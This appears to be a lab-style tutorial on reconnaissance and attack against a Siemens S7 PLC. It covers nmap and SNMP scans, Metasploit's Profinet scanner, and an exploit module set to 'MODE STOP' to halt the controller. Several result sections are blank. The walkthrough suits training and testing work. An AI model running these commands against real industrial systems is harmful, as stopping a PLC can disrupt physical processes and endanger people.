lets find the Siemens physical device with sudo netdiscover -r 10.1.0.0/24

then nmap to scan tcp ports on the IP address
sudo nmap 10.1.0.11 -Pn -p 1-65535

and udp ports
sudo nmap 10.1.0.11 -Pn -sU -F for the 100 most frequent UDP ports

snmp-check 10.1.0.11 gives results showing

From an earlier nmap scan..

Probe it with sudo nmap 10.1.0.11 -Pn -p 102 -sV

And use nmap scripting engine with
sudo nmap 10.1.0.11 -Pn -p --script s7-info.nse

This yields:

start metasploit with
sudo msfconsole

then search Siemens

To use the Profinet Scanner use the cooresponding #. Based on my results I typed use 5

Then type run to retrieve further information from the S7 PLC.

This will give results.

One can also use searchsploit s7 and then use the use hardware/remote/38964.rb after copying the files covered earlier in configuring searchsploit. This sploit can start and stops the S7 PLC. This is how:

setg RHOST 10.1.0.11 to set the host address.
set MODE STOP to use the STOP command
run to run the stop command

sudo python2 plcscan.py 10.1.0.11 to use plcsan.
This check whether port 102 or 502 is open on the target and extracts additiona info

Navigate to the folder and then
sudo python3 SiemensScan.py to run the script.

This tool can:

Back to Table of Contents